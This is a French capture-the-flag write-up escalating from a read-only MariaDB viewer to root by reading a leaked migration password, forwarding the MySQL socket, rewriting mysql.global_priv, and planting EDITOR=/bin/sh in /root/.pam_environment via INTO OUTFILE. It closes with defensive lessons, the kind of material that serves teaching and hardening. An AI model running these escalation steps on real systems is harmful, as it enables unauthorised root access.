Writeup

Hardback

Pas de shell classique : SSH ouvre directement le client MariaDB en lecture seule. Des traces de migration dans audit_log, un rôle trop permissif, et la commande \e oubliée dans la sandbox cliente, on finit en root sans jamais avoir eu de prompt shell.

Platform: Hack'In 2K26
Focus: Linux privesc
Date: 2026-04-11

Énoncé

The admin hardened everything after the last breach on goBack. No more admin account, no more special privileges. Just a read-only viewer on a locked-down database. Sometimes the most dangerous leftovers are the ones nobody remembers to clean up.

Le ton est rassurant, les oublis dans la base le sont moins.

1. Accès SSH, puis MariaDB

Connexion

ssh root@34.155.191.36 -p 32777

Le challenge donne le mot de passe password pour l'utilisateur root SSH, mais ce n'est pas un shell Unix qui m'attend : c'est le client MariaDB, tout de suite.

SQL : énumération

SELECT USER(), CURRENT_USER();
SHOW GRANTS;
SHOW DATABASES;

Résultat

USER()            CURRENT_USER()
viewer@localhost  viewer@localhost

GRANT USAGE ON *.* TO `viewer`@`localhost`
GRANT SELECT ON `app`.* TO `viewer`@`localhost`

Database
app
information_schema

2. Ce que raconte audit_log

Avec uniquement du SELECT sur app, je liste les tables puis je lis audit_log. Les messages ressemblent à des notes d'équipe : en réalité ils donnent un couple user / mot de passe et un rôle temporaire jamais révoqué.

Tables schema app

SELECT table_name
FROM information_schema.tables
WHERE table_schema='app'
ORDER BY 1;

Résultat

audit_log
departments
employees

Résultat

Schema migration v2.3: created migration role with temporary mysql.* access
maintenance: schema-validator connecting dba/M1gr@t10n_DBA! for migration check
Migration role assigned to dba for schema validation
TODO: revoke migration role after v2.3 validation is complete

3. Port forwarding + compte dba

Je ne peux toujours pas lancer un shell depuis la session SSH, mais rien n'interdit de forwarder la socket MySQL vers ma machine : je me reconnecte en dba en local, comme si j'étais sur la boîte.

Terminal 1 : forward socket MySQL

ssh -N -L 13307:/run/mysqld/mysqld.sock root@34.155.191.36 -p 32777

Terminal 2 : connexion dba

MYSQL_PWD='M1gr@t10n_DBA!' mariadb -h 127.0.0.1 -P 13307 -u dba

Résultat

GRANT `migration` TO `dba`@`localhost`
GRANT USAGE ON *.* TO `dba`@`localhost`
GRANT SELECT ON `app`.* TO `dba`@`localhost`

4. Activer migration, puis mysql.global_priv

Activation du rôle

SET ROLE migration;
SHOW GRANTS;
SELECT CURRENT_ROLE();

Résultat

CURRENT_ROLE()
migration

GRANT SELECT, RELOAD ON *.* TO `migration`
GRANT INSERT, UPDATE ON `mysql`.* TO `migration`

Sur MariaDB 10.11, les privilèges globaux vivent en JSON dans mysql.global_priv. Pour dba, le champ access vaut 0 au départ. Je le remplace par le même masque que root (ici 549755813887), je fais un FLUSH PRIVILEGES, et soudain dba ressemble à un compte admin complet côté SQL.

Escalade

SET ROLE migration;

UPDATE mysql.global_priv
SET Priv = JSON_SET(Priv, '$.access', 549755813887)
WHERE Host='localhost' AND User='dba';

FLUSH PRIVILEGES;

Résultat

GRANT ALL PRIVILEGES ON *.* TO `dba`@`localhost` ... WITH GRANT OPTION

5. Sandbox client et contournement \\e

Même après l'élévation SQL, le SSH me garde dans le client en mode sandbox : \! est refusé. Par contre \e appelle toujours un éditeur externe. Quand vi n'est pas là, l'erreur du genre sh: 1: vi: not found confirme bien qu'on shell-out quelque part : c'est la brèche.

Résultat

SELECT 'EDITOR DEFAULT=/bin/sh'
INTO OUTFILE '/root/.pam_environment'
FIELDS ESCAPED BY ''
LINES TERMINATED BY '\n';

Grâce au privilège FILE, je dépose un petit /root/.pam_environment qui force EDITOR=/bin/sh. Au prochain login root, pam_env charge ça avant MariaDB : quand je tape \e, ce n'est plus vi qui ouvre le buffer temporaire, c'est un shell. Le contenu du buffer, c'est moi qui le choisis (par exemple id, puis un find / cat pour le flag).

Résultat

id
# puis \e → uid=0(root) ...

6. Flag

Même recette qu'avant : j'écris la commande dans le buffer du client, je lance \e, j'admire la sortie. Le flag est dans le bloc ci-dessous si tu veux te spoiler.

Résultat

••••••••••••••••••••••••••••••••Cliquer pour afficher

Pourquoi la défense ne tient pas

  • Un mot de passe de migration traîne en clair dans audit_log : game over dès qu'on lit les logs.
  • Le rôle migration n'a jamais été révoqué et permet d'écrire dans mysql.*, donc de retoucher la mécanique des privilèges elle-même.
  • La sandbox du client coupe beaucoup de commandes, mais pas \e, qui reste conçu pour parler au monde extérieur.
  • Une fois SQL root à peu près équivalent admin, SELECT ... INTO OUTFILE sur /root/.pam_environment referme le cercle côté OS.